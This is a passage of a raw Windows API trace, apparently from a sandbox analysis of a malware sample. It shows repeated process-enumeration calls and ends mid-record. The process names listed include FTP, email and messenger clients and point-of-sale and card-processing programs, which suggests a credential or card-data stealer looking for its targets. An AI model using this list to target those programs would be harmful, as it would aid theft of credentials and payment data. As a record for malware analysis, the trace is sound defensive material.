th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0114.112] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0114.117] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0114.120] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0114.123] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0114.126] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0114.129] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0114.132] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0114.135] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0114.138] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0114.141] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0114.143] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0114.145] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0114.147] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0114.150] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0114.152] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0114.154] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0114.156] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0114.158] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0114.161] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0114.163] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0114.166] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0114.168] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0114.171] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0114.173] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0114.176] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0114.179] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0114.181] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0114.184] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0114.186] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0114.188] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0114.190] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0114.193] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0114.195] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0114.198] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0114.200] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0114.202] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0114.204] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0114.207] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0114.209] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0114.211] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0114.218] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0114.220] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0114.222] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0114.225] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0114.227] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0114.229] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0114.231] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0114.233] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0114.260] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0114.263] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0114.265] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0114.268] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0114.270] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.273] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.275] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0114.277] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0114.280] CloseHandle (hObject=0x20ec) returned 1 [0114.280] Sleep (dwMilliseconds=0x64) [0114.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20e0 [0114.410] Process32First (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.412] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.415] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0114.418] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.420] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0114.422] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.423] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0114.425] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0114.427] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0114.429] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.431] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.433] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0114.435] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.437] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.441] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.444] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.446] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.448] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.450] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.452] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.454] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.456] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0114.458] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.460] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.462] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0114.616] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0114.619] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, 